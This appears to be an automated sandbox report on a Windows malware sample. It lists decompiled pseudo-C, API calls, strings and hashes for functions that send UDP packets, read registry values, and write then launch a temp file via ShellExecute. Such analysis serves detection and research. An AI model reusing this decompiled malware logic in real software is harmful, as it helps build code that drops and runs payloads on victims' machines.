0x00404366
0x00404371
0x00404375
0x00404368
0x00404368
0x00404368
0x00404384
0x0040438a
0x0040439a
0x004043ab
0x004043ae
0x004043b5
0x00000000
0x004043b5
0x00404300
0x00000000

APIs

CreateEventA.KERNEL32(00000000,00000001,00000001,00000000,00000000,?,004098FD,00000001,00000100,PromptOnSecureDesktop,0040A3C7), ref: 00404290
CloseHandle.KERNEL32(0040A3C7), ref: 004043AB
CloseHandle.KERNEL32(00000001), ref: 004043AE

Strings

PromptOnSecureDesktop, xrefs: 004042A9

Memory Dump Source

Source File: 00000019.00000002.447489333.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.447525727.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CloseHandle$CreateEvent
String ID: PromptOnSecureDesktop
API String ID: 1371578007-2980165447
Opcode ID: 1ca6cf8784600e63233360972df8e8f73f6c7624b12c89556f18688b41653a7a
Instruction ID: 96190e95dfac0256a72039fb05246d043f10f1ed4b28fe2ef93a25e2cd6a7057
Opcode Fuzzy Hash: 1ca6cf8784600e63233360972df8e8f73f6c7624b12c89556f18688b41653a7a
Instruction Fuzzy Hash: D94181B1900209BADB109BA2CD45FDFBFBCEF40355F104566F604B21C1D7789A51DBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00866CB0, Relevance: 10.6, APIs: 7, Instructions: 106fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000), ref: 00866CCD
GetDiskFreeSpaceA.KERNEL32(?,?,?,?,?), ref: 00866D0B
GetLastError.KERNEL32 ref: 00866D90
CloseHandle.KERNEL32(?), ref: 00866D9E
GetLastError.KERNEL32 ref: 00866DBF
DeleteFileA.KERNEL32(?), ref: 00866DD0
GetLastError.KERNEL32 ref: 00866DE6

Memory Dump Source

Source File: 00000019.00000002.447663709.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: false

Yara matches

Similarity

API ID: ErrorLast$File$CloseCreateDeleteDiskFreeHandleSpace
String ID:
API String ID: 3873183294-0
Opcode ID: f20540f086f6cde11da1c0912bd8b4db093012cd4bd3a0bf5db3ffead886992b
Instruction ID: 02fcafe90fc300196431aecb542d4c20c0c3a7f98b4daaf2e658c1757f655796
Opcode Fuzzy Hash: f20540f086f6cde11da1c0912bd8b4db093012cd4bd3a0bf5db3ffead886992b
Instruction Fuzzy Hash: 2A310072A0018DBFCB119FA49D45FDE7F78FF48310F168065E251E3251E6724A648B61

Uniqueness

Uniqueness Score: -1.00%

Function 0043A6A1, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 104COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0043A702
__aullrem.LIBCMT ref: 0043A8CF
__aulldiv.LIBCMT ref: 0043A8F1

Strings

9, xrefs: 0043A902
0, xrefs: 0043A6BD
', xrefs: 0043A6A1

Memory Dump Source

Source File: 00000019.00000002.447542471.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$0$9
API String ID: 3120068967-269856862
Opcode ID: b7e7fb60960965e265fee2b54a55738c8d1fb91819d6616c01773533032be9c2
Instruction ID: f1c31ab527c7c58625cb42495892cb484f83835a3f6c659d7edc71dd08b75a69
Opcode Fuzzy Hash: b7e7fb60960965e265fee2b54a55738c8d1fb91819d6616c01773533032be9c2
Instruction Fuzzy Hash: 7D4106B1D05228CFDB28CF48C889BAEB7B5BB48304F14959AD099A7240D7389E91CF46

Uniqueness

Uniqueness Score: -1.00%

Function 004026FF, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 96
networkCOMMON

Download Yara Rule

C-Code - Quality: 26%

			E004026FF(intOrPtr* __eax, intOrPtr _a4, intOrPtr _a8, long _a12) {
				long* _t33;
				long _t35;
				long* _t36;
				long _t37;
				long _t38;
				short _t39;
				short _t40;
				char _t42;
				intOrPtr _t43;
				void* _t48;
				long* _t49;
				long* _t51;
				long* _t52;
				long* _t53;
				long* _t54;
				void* _t55;
				long* _t56;
				long* _t57;
				long* _t60;
				intOrPtr* _t63;
				intOrPtr* _t65;
				void* _t66;

				_t65 = __eax;
				_t33 =  *0x412bf8; // 0x0
				_t42 = 0;
				if(_t33 == 0) {
					_t33 = E0040EBCC(0x400);
					_pop(_t48);
					 *0x412bf8 = _t33;
				}
				E0040EE2A(_t48, _t33, _t42, 0x400);
				_t35 = GetTickCount();
				_t49 =  *0x412bf8; // 0x0
				_t63 = __imp__#9;
				 *_t49 = _t35;
				_t36 =  *0x412bf8; // 0x0
				_t36[0] = _a12;
				_t37 =  *_t63(1);
				_t51 =  *0x412bf8; // 0x0
				_t51[1] = _t37;
				_t52 =  *0x412bf8; // 0x0
				_t38 = 0;
				_t52[1] = 0;
				_t53 =  *0x412bf8; // 0x0
				_t53[2] = 0;
				_t54 =  *0x412bf8; // 0x0
				_t54[2] = 0;
				_t60 =  *0x412bf8; // 0x0
				_t55 = 0;
				if( *_t65 != _t42) {
					do {
						_t43 =  *((intOrPtr*)(_t38 + _t65));
						_a12 = _t38;
						while(_t43 != 0) {
							if(_t43 != 0x2e) {
								_a12 = _a12 + 1;
								_t43 =  *((intOrPtr*)(_a12 + _t65));
								continue;
							}
							break;
						}
						 *((char*)(_t55 +  &(_t60[3]))) = _a12 - _t38;
						_t55 = _t55 + 1;
						while(_t38 < _a12) {
							 *((char*)(_t55 +  &(_t60[3]))) =  *((intOrPtr*)(_t38 + _t65));
							_t55 = _t55 + 1;
							_t38 = _t38 + 1;
						}
						if( *((char*)(_t38 + _t65)) == 0x2e) {
							_t38 = _t38 + 1;
						}
						_t42 = 0;
					} while ( *((intOrPtr*)(_t38 + _t65)) != 0);
				}
				 *((char*)(_t55 +  &(_t60[3]))) = _t42;
				_t24 = _t55 + 0xd; // 0xf
				_t66 = _t24;
				_t39 =  *_t63(0xf);
				_t56 =  *0x412bf8; // 0x0
				 *((short*)(_t56 + _t66)) = _t39;
				_t40 =  *_t63(1);
				_t57 =  *0x412bf8; // 0x0
				 *((short*)(_t57 + _t66 + 2)) = _t40;
				__imp__#20(_a4, 0x412bf8, _t66 + 4, _t42, _a8, 0x10);
				return 0 | _t40 <= 0x00000000;
			}

0x00402704
0x00402706
0x0040270b
0x00402715
0x00402718
0x0040271d
0x0040271e
0x0040271e
0x00402726
0x0040272e
0x00402734
0x0040273a
0x00402740
0x00402743
0x0040274e
0x00402752
0x00402754
0x0040275a
0x0040275e
0x00402764
0x00402766
0x0040276a
0x00402770
0x00402774
0x0040277a
0x0040277e
0x00402784
0x00402788
0x0040278a
0x0040278a
0x0040278d
0x004027a0
0x00402795
0x00402797
0x0040279d
0x00000000
0x0040279d
0x00000000
0x00402795
0x004027a9
0x004027ad
0x004027b9
0x004027b3
0x004027b7
0x004027b8
0x004027b8
0x004027c2
0x004027c4
0x004027c4
0x004027c5
0x004027c7
0x0040278a
0x004027ce
0x004027d2
0x004027d2
0x004027d5
0x004027d7
0x004027df
0x004027e3
0x004027e5
0x004027f0
0x00402802
0x00402815

APIs

GetTickCount.KERNEL32 ref: 0040272E
htons.WS2_32(00000001), ref: 00402752
htons.WS2_32(0000000F), ref: 004027D5
htons.WS2_32(00000001), ref: 004027E3
sendto.WS2_32(?,00412BF8,00000009,00000000,00000010,00000010), ref: 00402802

Part of subcall function 0040EBCC: GetProcessHeap.KERNEL32(00000000,00000000,80000001,0040EBFE,7FFF0001,?,0040DB55,7FFF0001), ref: 0040EBD3
Part of subcall function 0040EBCC: RtlAllocateHeap.NTDLL(00000000,?,0040DB55,7FFF0001), ref: 0040EBDA

Strings

0t, xrefs: 0040272E

Memory Dump Source

Source File: 00000019.00000002.447489333.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.447525727.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: htons$Heap$AllocateCountProcessTicksendto
String ID: 0t
API String ID: 1128258776-1355922044
Opcode ID: 6299894b8f3bc0cc0dfae645a3d09159b09bee40e3d6069153e68f679ff52250
Instruction ID: e317574a351225f02cdc10e669db3389ba019fd1a924c3d0ab3f78f3d9a30560
Opcode Fuzzy Hash: 6299894b8f3bc0cc0dfae645a3d09159b09bee40e3d6069153e68f679ff52250
Instruction Fuzzy Hash: B8313A342483969FD7108F74DD80AA27760FF19318B19C07EE855DB3A2D6B6E892D718

Uniqueness

Uniqueness Score: -1.00%

Function 00434A70, Relevance: 10.6, APIs: 7, Instructions: 96COMMON

Download Yara Rule

APIs

_cmpDWORD.LIBCMTD ref: 00434A7E

Part of subcall function 00435070: _cmpBYTE.LIBCMTD ref: 004350A8

_cmpDWORD.LIBCMTD ref: 00434AA5

Memory Dump Source

Source File: 00000019.00000002.447542471.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Similarity

API ID: _cmp
String ID:
API String ID: 2028851527-0
Opcode ID: 78c03d3718f2390d31f8b063bc65ce1d810f83c356c66c6654849dcd724319e6
Instruction ID: 00e4cc115073499915f3cfde4bab49d0b53eb0527ccb8d4060066654866619d2
Opcode Fuzzy Hash: 78c03d3718f2390d31f8b063bc65ce1d810f83c356c66c6654849dcd724319e6
Instruction Fuzzy Hash: 1F311B71900108EFDB08EFBCCA48A9D7BB4AB88305F55D159E409AB245D639EB40DB98

Uniqueness

Uniqueness Score: -1.00%

Function 00869395, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000,?,00000104), ref: 008693AF
GetModuleFileNameA.KERNEL32(00000000), ref: 008693B6
CharToOemA.USER32(?,?), ref: 008693C4
wsprintfA.USER32 ref: 008693F9

Part of subcall function 008692B4: GetTempPathA.KERNEL32(00000400,?), ref: 008692CB
Part of subcall function 008692B4: wsprintfA.USER32 ref: 00869339
Part of subcall function 008692B4: CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0086935E
Part of subcall function 008692B4: lstrlen.KERNEL32(?,?,00000000), ref: 00869372
Part of subcall function 008692B4: WriteFile.KERNEL32(00000000,?,00000000), ref: 0086937D
Part of subcall function 008692B4: CloseHandle.KERNEL32(00000000), ref: 00869384

ShellExecuteA.SHELL32(00000000,00000000,?,00000000,00000000,00000000), ref: 00869431

Strings

PromptOnSecureDesktop, xrefs: 008693E3, 008693E8, 00869405

Memory Dump Source

Source File: 00000019.00000002.447663709.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: false

Yara matches

Similarity

API ID: File$HandleModulewsprintf$CharCloseCreateExecuteNamePathShellTempWritelstrlen
String ID: PromptOnSecureDesktop
API String ID: 3857584221-2980165447
Opcode ID: ff085cb3efc643ea3343cce32a213b77a8dc5f084f98a1949d4da58a8db7cba0
Instruction ID: b8570604189c5c21e3a88f8d763fccfc9349ccdbf587d383649566074476cfc6
Opcode Fuzzy Hash: ff085cb3efc643ea3343cce32a213b77a8dc5f084f98a1949d4da58a8db7cba0
Instruction Fuzzy Hash: F50152F69001187BD721A7619D89FDF377CEB95701F0040A1BB49E2080DAB496C58F75

Uniqueness

Uniqueness Score: -1.00%

Function 0086AA11, Relevance: 9.2, APIs: 4, Strings: 2, Instructions: 247stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?), ref: 0086AACE

Strings

localcfg, xrefs: 0086AD5B
, xrefs: 0086AB9C

Memory Dump Source

Source File: 00000019.00000002.447663709.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: false

Yara matches

Similarity

API ID: lstrlen
String ID: $localcfg
API String ID: 1659193697-2018645984
Opcode ID: e25caa720acfe6edeb1ed6cfdeeca69567da959aa4b90cf3eb174d19221d8523
Instruction ID: af16e38560b181109094cdf49ef2b711807fd745618148a977b3eb1bc0d4b4c7
Opcode Fuzzy Hash: e25caa720acfe6edeb1ed6cfdeeca69567da959aa4b90cf3eb174d19221d8523
Instruction Fuzzy Hash: FC715972A40319BBDF298B98EC85FEE3769FB00315F264066F905F6091DB658D848F17

Uniqueness

Uniqueness Score: -1.00%

Function 0040E8A1, Relevance: 9.2, APIs: 4, Strings: 2, Instructions: 172
stringCOMMON

Download Yara Rule

C-Code - Quality: 98%

			E0040E8A1(void* __edx, char _a4, CHAR* _a8, CHAR* _a12, CHAR* _a16) {
				CHAR* _v8;
				signed int _v12;
				intOrPtr _v16;
				CHAR* _v20;
				intOrPtr _v24;
				CHAR* _v28;
				CHAR* _v32;
				intOrPtr _v36;
				char _v37;
				char _v52;
				char _v56;
				intOrPtr _t87;
				intOrPtr _t95;
				int _t126;
				void* _t136;
				void* _t138;
				CHAR* _t139;
				void* _t146;
				char _t150;
				void* _t154;
				void* _t158;
				void* _t159;

				_t146 = __edx;
				_v20 = 0;
				E0040DD05();
				_t150 = _a4;
				_t158 = E0040DD84(_t150, _a8);
				_pop(_t138);
				if(_t158 != 0) {
					L2:
					_t16 = _t158 + 0x30; // 0x30
					_v8 = E00402419(_t138, _t16,  *((intOrPtr*)(_t158 + 0x24)), _a12);
					_t21 = lstrlenA(_a12) + 1; // 0x1
					_t136 = _t21;
					_t87 = lstrlenA(_a16) + _t136 + 1;
					_v16 = _t87;
					if(_v8 == 0) {
						_t139 =  *((intOrPtr*)(_t158 + 0x24));
						_v12 = _v12 & 0x00000000;
						_v8 = _t139;
						_t152 = _t139;
					} else {
						_t126 = lstrlenA(_v8);
						_t152 = _v8 - _t136 - _t158 + 0xffffffd0;
						_v12 = _t126 + _t136 + 1;
						_t87 = _v16;
						_v8 = _v8 - _t136 - _t158 + 0xffffffd0;
					}
					if(_v12 == _t87) {
						E0040EE08(_t152 + _t158 + 0x30, _a12, _t136);
						E0040EE08(_t152 + _t136 + _t158 + 0x30, _a16, _v16 - _t136);
						_t77 = _t158 + 0x30; // 0x30
						_t95 = E004024C2(_t77,  *((intOrPtr*)(_t158 + 0x24)), 0);
						if( *((intOrPtr*)(_t158 + 0x20)) != _t95) {
							 *((intOrPtr*)(_t158 + 0x20)) = _t95;
							 *0x4136c0 = 1;
						}
					} else {
						_t41 = _t87 + 0x24; // 0x24
						_t154 = E0040EBCC( *((intOrPtr*)(_t158 + 0x24)) - _v12 + _t41);
						if(_t154 != 0) {
							_t43 = _t158 + 0xc; // 0xc
							E0040EE08(_t154, _t43,  &(_v8[0x24]));
							 *((intOrPtr*)(_t154 + 0x18)) =  *((intOrPtr*)(_t158 + 0x24)) - _v12 + _v16;
							_v20 =  &(_v8[_t154]);
							E0040EE08( &(( &(_v8[_t154]))[0x24]), _a12, _t136);
							E0040EE08( &(_v20[_t136 + 0x24]), _a16, _v16 - _t136);
							E0040EE08( &(_v20[_v16 + 0x24]),  &(( &(_v8[_v12]))[_t158 + 0x30]),  *((intOrPtr*)(_t158 + 0x24)) - _v8 - _v12);
							_t66 = _t154 + 0x24; // 0x24
							 *((intOrPtr*)(_t154 + 0x14)) = E004024C2(_t66,  *((intOrPtr*)(_t154 + 0x18)), 0);
							E0040DF4C( *((intOrPtr*)(_t158 + 0x24)) - _v8 - _v12, _t154);
							E0040EC2E(_t154);
							_v20 = 1;
						}
					}
					L10:
					E0040DD69();
					return _v20;
				}
				_v56 = _t150;
				_v28 = 0;
				_v24 = 3;
				lstrcpynA( &_v52, _a8, 0x10);
				_v37 = 0;
				_v32 = 0;
				_v36 = E004024C2( &_v20, 0, 0);
				E0040DF4C(_t146,  &_v56);
				_t158 = E0040DD84(_t150, _a8);
				_t159 = _t159 + 0x18;
				if(_t158 == 0) {
					goto L10;
				}
				goto L2;
			}

0x0040e8a1
0x0040e8ac
0x0040e8af
0x0040e8b7
0x0040e8c0
0x0040e8c3
0x0040e8c6
0x0040e917
0x0040e91a
0x0040e932
0x0040e93a
0x0040e93a
0x0040e943
0x0040e947
0x0040e94a
0x0040e96a
0x0040e96d
0x0040e971
0x0040e974
0x0040e94c
0x0040e94f
0x0040e95c
0x0040e95f
0x0040e962
0x0040e965
0x0040e965
0x0040e979
0x0040ea3a
0x0040ea4f
0x0040ea59
0x0040ea5d
0x0040ea68
0x0040ea6a
0x0040ea6d
0x0040ea6d
0x0040e97f
0x0040e985
0x0040e98f
0x0040e994
0x0040e9a1
0x0040e9a6
0x0040e9b8
0x0040e9c0
0x0040e9c7
0x0040e9dd
0x0040ea02
0x0040ea0c
0x0040ea16
0x0040ea19
0x0040ea22
0x0040ea28
0x0040ea28
0x0040e994
0x0040ea77
0x0040ea77
0x0040ea83
0x0040ea83
0x0040e8d1
0x0040e8d4
0x0040e8d7
0x0040e8de
0x0040e8ea
0x0040e8ed
0x0040e8f5
0x0040e8fc
0x0040e90a
0x0040e90c
0x0040e911
0x00000000
0x00000000
0x00000000

APIs

Part of subcall function 0040DD05: GetTickCount.KERNEL32 ref: 0040DD0F
Part of subcall function 0040DD05: InterlockedExchange.KERNEL32(004136B4,00000001), ref: 0040DD44
Part of subcall function 0040DD05: GetCurrentThreadId.KERNEL32 ref: 0040DD53

Part of subcall function 0040DD84: lstrcmpiA.KERNEL32(80000011,00000000,00000108,80000001,00000000,0040DE62,80000001,80000005,00000108,00000000,000000E4,00000000,?,0040E3A7,000000F0), ref: 0040DDB5

lstrcpynA.KERNEL32(?,00401E84,00000010,localcfg,?,flags_upd,?,?,?,?,?,0040EAAA,?,?), ref: 0040E8DE
lstrlenA.KERNEL32(?,localcfg,?,flags_upd,?,?,?,?,?,0040EAAA,?,?,00000001,?,00401E84,?), ref: 0040E935
lstrlenA.KERNEL32(00000001,?,?,?,?,?,0040EAAA,?,?,00000001,?,00401E84,?,0000000A), ref: 0040E93D
lstrlenA.KERNEL32(00000000,?,?,?,?,?,0040EAAA,?,?,00000001,?,00401E84,?), ref: 0040E94F

Strings

localcfg, xrefs: 0040E8AB
flags_upd, xrefs: 0040E8A7

Memory Dump Source

Source File: 00000019.00000002.447489333.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.447525727.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: lstrlen$CountCurrentExchangeInterlockedThreadTicklstrcmpilstrcpyn
String ID: flags_upd$localcfg
API String ID: 204374128-3505511081
Opcode ID: 798df9beac1de9cfe9593c9a5200f7c4a69fe291944888fed16d288fbbf397d9
Instruction ID: 4a5a107d8aad74d0ab91cd578fe54778089971c235e688b3f19fdb3cdc8cf470
Opcode Fuzzy Hash: 798df9beac1de9cfe9593c9a5200f7c4a69fe291944888fed16d288fbbf397d9
Instruction Fuzzy Hash: A5514F7290020AAFCB00EFE9C985DAEBBF9BF48308F14452EE405B3251D779EA548B54

Uniqueness

Uniqueness Score: -1.00%

Function 0086E8A4, Relevance: 9.1, APIs: 3, Strings: 3, Instructions: 96stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0086DF55: GetCurrentThreadId.KERNEL32 ref: 0086DFA3

lstrcmp.KERNEL32(00410178,00000000), ref: 0086E8E3
lstrcpyn.KERNEL32(00000008,00000000,0000000F,?,00410170,00000000,?,00866111), ref: 0086E939
lstrcmp.KERNEL32(?,00000008), ref: 0086E972

Strings

A, xrefs: 0086E989
A, xrefs: 0086E8AF, 0086E8B6, 0086E91F, 0086E981
A, xrefs: 0086E949, 0086E94E

Memory Dump Source

Source File: 00000019.00000002.447663709.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: false

Yara matches

Similarity

API ID: lstrcmp$CurrentThreadlstrcpyn
String ID: A$ A$ A
API String ID: 2920362961-1846390581
Opcode ID: 22b7ec265cbf58d9e118b1c9ae896798d4c4cc7fc0edb460ff72d5a9b3fd5feb
Instruction ID: b0e6aa78cb03a4c62dcce0d0586b7dd34f931ffffc4973cbb7890e2fe1aef8a7
Opcode Fuzzy Hash: 22b7ec265cbf58d9e118b1c9ae896798d4c4cc7fc0edb460ff72d5a9b3fd5feb
Instruction Fuzzy Hash: D131AB39A00715DFDB718F24D884BA67BE8FF05324F16853AE655CB591E770E884CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00866DF7, Relevance: 9.1, APIs: 6, Instructions: 84COMMON

Download Yara Rule

APIs

IsBadCodePtr.KERNEL32 ref: 00866E02

Memory Dump Source

Source File: 00000019.00000002.447663709.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: false

Yara matches

Similarity

API ID: Code
String ID:
API String ID: 3609698214-0
Opcode ID: dbd61df3ebb78cc6fa2ed7637639bc7d17aa9fbedb66480432ceb7f56d018bc4
Instruction ID: d33582a37bf9e59dbb7a8642dc74770912bbd50f1f28dfb32c574afa69b0cce9
Opcode Fuzzy Hash: dbd61df3ebb78cc6fa2ed7637639bc7d17aa9fbedb66480432ceb7f56d018bc4
Instruction Fuzzy Hash: D3218E7A604105FFDB119BA4FC49EDF3FADEB48764B228025F602D10A0FB72CA509674

Uniqueness

Uniqueness Score: -1.00%

Function 0040DD05, Relevance: 9.0, APIs: 6, Instructions: 34
threadsleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040DD05() {
				long _t4;
				long _t10;

				_t10 = GetTickCount();
				while(InterlockedExchange(0x4136b4, 1) != 0) {
					if(GetCurrentThreadId() !=  *0x4136b8) {
						if(GetTickCount() - _t10 >= 0x2710) {
							 *0x4136bc =  *0x4136bc & 0x00000000;
						} else {
							Sleep(0);
							continue;
						}
					}
					L7:
					_t4 = GetCurrentThreadId();
					 *0x4136bc =  *0x4136bc + 1;
					 *0x4136b8 = _t4;
					return _t4;
				}
				goto L7;
			}

0x0040dd17
0x0040dd41
0x0040dd2c
0x0040dd37
0x0040dd4c
0x0040dd39
0x0040dd3b
0x00000000
0x0040dd3b
0x0040dd37
0x0040dd53
0x0040dd53
0x0040dd59
0x0040dd62
0x0040dd68
0x0040dd68
0x00000000

APIs

GetTickCount.KERNEL32 ref: 0040DD0F
GetCurrentThreadId.KERNEL32 ref: 0040DD20
GetTickCount.KERNEL32 ref: 0040DD2E
Sleep.KERNEL32(00000000,?,74E043E0,?,00000000,0040E538,?,74E043E0,?,00000000,?,0040A445), ref: 0040DD3B
InterlockedExchange.KERNEL32(004136B4,00000001), ref: 0040DD44
GetCurrentThreadId.KERNEL32 ref: 0040DD53

Memory Dump Source

Source File: 00000019.00000002.447489333.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.447525727.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CountCurrentThreadTick$ExchangeInterlockedSleep
String ID:
API String ID: 3819781495-0
Opcode ID: 00222842cf4b27377529e63430db8cbc0b0fb89ac28641eb4cfa7891be51bad4
Instruction ID: 5047c4a85d7ce053583ecb6bfb553561e79882e3d1eaa06aec664d00f8baf4e0
Opcode Fuzzy Hash: 00222842cf4b27377529e63430db8cbc0b0fb89ac28641eb4cfa7891be51bad4
Instruction Fuzzy Hash: 1AF0E971604204AFD7505FA5BC84BB53FA4EB48353F008077E109D22A8C77455898F2E

Uniqueness

Uniqueness Score: -1.00%

Function 004080C9, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 146
registryCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E004080C9(int* __ecx) {
				int _v8;
				void* _v12;
				int _v16;
				char _v20;
				char _v52;
				char _v312;
				void* _t27;
				void* _t31;
				char* _t35;
				char* _t42;
				char* _t45;
				intOrPtr* _t49;
				intOrPtr _t52;
				intOrPtr _t57;
				void* _t60;
				intOrPtr _t63;
				void* _t65;
				void* _t68;
				CHAR _t70;
				intOrPtr _t71;

				_t56 = __ecx;
				_v8 = 0;
				 *0x412c3c = 0;
				 *0x412c38 = 0;
				if(E00406EC3() != 0) {
					_t27 = E0040704C(0x410264, 0, 0,  &_v312,  &_v52);
					_t65 = _t65 + 0x14;
					if(_t27 <= 0 || _v312 == 0 || _v52 == 0) {
						goto L20;
					} else {
						_t35 = E00402544(0x4122f8,  &E004106AC, 0x2e, 0xe4, 0xc8);
						_t68 = _t65 + 0x14;
						if(RegOpenKeyExA(0x80000001, _t35, 0, 0x101,  &_v12) != 0) {
							L19:
							E0040EE2A(_t56, 0x4122f8, 0, 0x100);
							_t65 = _t68 + 0xc;
							goto L20;
						}
						if(RegQueryValueExA(_v12,  &_v312, 0,  &_v16, 0,  &_v8) != 0 || _v16 != 1 || _v8 <= 0) {
							L15:
							_t42 =  *0x412c3c; // 0x0
							if(_t42 == 0) {
								goto L18;
							}
							E0040EC2E(_t42);
							 *0x412c3c = 0;
							goto L17;
						} else {
							_t45 = E0040EBCC(_v8);
							_pop(_t56);
							 *0x412c3c = _t45;
							if(_t45 == 0) {
								L18:
								RegCloseKey(_v12);
								goto L19;
							}
							_t56 =  &_v8;
							if(RegQueryValueExA(_v12,  &_v312, 0,  &_v16, _t45,  &_v8) != 0) {
								goto L15;
							}
							_t49 =  &_v312;
							_t60 = _t49 + 1;
							do {
								_t57 =  *_t49;
								_t49 = _t49 + 1;
							} while (_t57 != 0);
							_t52 = E0040EBCC(_t49 - _t60 + 1);
							_pop(_t56);
							 *0x412c38 = _t52;
							if(_t52 == 0) {
								goto L18;
							}
							E0040EF00(_t52,  &_v312);
							L17:
							_pop(_t56);
							goto L18;
						}
					}
				} else {
					E00407EE6(_t56);
					L20:
					_t70 =  *0x4121a8; // 0x0
					if(_t70 != 0) {
						_t71 =  *0x4121a4; // 0x0
						if(_t71 == 0) {
							_t31 = E0040675C(0x4121a8,  &_v20, 0);
							_t61 = _t31;
							if(_t31 != 0) {
								_t63 = _v20;
								 *0x4122d4 = E004024C2(_t61, _t63, 0);
								 *0x4121a4 = _t63;
								E0040EC2E(_t61);
							}
						}
					}
					return 1;
				}
			}

0x004080c9
0x004080d7
0x004080da
0x004080e0
0x004080ed
0x0040810b
0x00408110
0x00408115
0x00000000
0x00408130
0x00408151
0x00408156
0x00408167
0x00408216
0x0040821d
0x00408222
0x00000000
0x00408222
0x0040818b
0x004081f7
0x004081f7
0x004081fe
0x00000000
0x00000000
0x00408201
0x00408206
0x00000000
0x00408198
0x0040819b
0x004081a0
0x004081a1
0x004081a8
0x0040820d
0x00408210
0x00000000
0x00408210
0x004081aa
0x004081c2
0x00000000
0x00000000
0x004081c4
0x004081ca
0x004081cd
0x004081cd
0x004081cf
0x004081d0
0x004081d8
0x004081dd
0x004081de
0x004081e5
0x00000000
0x00000000
0x004081ef
0x0040820c
0x0040820c
0x00000000
0x0040820c
0x0040818b
0x004080ef
0x004080ef
0x00408225
0x00408225
0x0040822b
0x0040822d
0x00408233
0x0040823f
0x00408244
0x0040824b
0x0040824d
0x00408259
0x0040825e
0x00408264
0x00408269
0x0040824b
0x00408233
0x00408273
0x00408273

APIs

RegOpenKeyExA.ADVAPI32(80000001,00000000,?,?,00000000,00000101,?,?,?,?,74E043E0,00000000), ref: 0040815F
RegQueryValueExA.ADVAPI32(?,?,00000000,?,00000000,0040A45F,?,?,00000000,00000101,?,?,?,?,74E043E0,00000000), ref: 00408187
RegQueryValueExA.ADVAPI32(?,?,00000000,00000001,00000000,0040A45F,?,?,00000000,00000101,?,?,?,?,74E043E0,00000000), ref: 004081BE
RegCloseKey.ADVAPI32(?,?,?,00000000,00000101,?,?,?,?,74E043E0,00000000), ref: 00408210

Part of subcall function 0040675C: SetFileAttributesA.KERNEL32(?,00000080,?,74E043E0,00000000), ref: 0040677E
Part of subcall function 0040675C: CreateFileA.KERNELBASE(?,80000000,00000003,00000000,00000003,00000080,00000000,?,74E043E0,00000000), ref: 0040679A
Part of subcall function 0040675C: CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000004,00000000,?,74E043E0,00000000), ref: 004067B0
Part of subcall function 0040675C: SetFileAttributesA.KERNEL32(?,00000002,?,74E043E0,00000000), ref: 004067BF
Part of subcall function 0040675C: GetFileSize.KERNEL32(000000FF,00000000,?,74E043E0,00000000), ref: 004067D3
Part of subcall function 0040675C: ReadFile.KERNELBASE(000000FF,?,00000040,00408244,00000000,?,74E043E0,00000000), ref: 00406807
Part of subcall function 0040675C: SetFilePointer.KERNELBASE(000000FF,?,00000000,00000000,?,74E043E0,00000000), ref: 0040681F
Part of subcall function 0040675C: ReadFile.KERNELBASE(000000FF,?,000000F8,?,00000000,?,74E043E0,00000000), ref: 0040683E
Part of subcall function 0040675C: SetFilePointer.KERNELBASE(000000FF,?,00000000,00000000,?,74E043E0,00000000), ref: 0040685C

Part of subcall function 0040EC2E: GetProcessHeap.KERNEL32(00000000,'@,00000000,0040EA27,00000000), ref: 0040EC41
Part of subcall function 0040EC2E: HeapFree.KERNEL32(00000000), ref: 0040EC48

Strings

PromptOnSecureDesktop, xrefs: 0040814B, 00408150, 0040821C

Memory Dump Source

Source File: 00000019.00000002.447489333.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.447525727.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: File$AttributesCreateHeapPointerQueryReadValue$CloseFreeOpenProcessSize
String ID: PromptOnSecureDesktop
API String ID: 124786226-2980165447
Opcode ID: f41c48beccc796d99ac39a3e9a8e7a8285e468a1565ebf528982a8b7ec716e81
Instruction ID: c6ff5cc28a73505882571aaa3479db7aabb841166acb9389a4089cab67cb233b
Opcode Fuzzy Hash: f41c48beccc796d99ac39a3e9a8e7a8285e468a1565ebf528982a8b7ec716e81
Instruction Fuzzy Hash: 6641A2B1801109BFEB10EBA19E81DEF777CDB04304F1448BFF545F2182EAB85A948B59

Uniqueness

Uniqueness Score: -1.00%

Function 0043A68E, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 106COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0043A702
__aullrem.LIBCMT ref: 0043A8CF
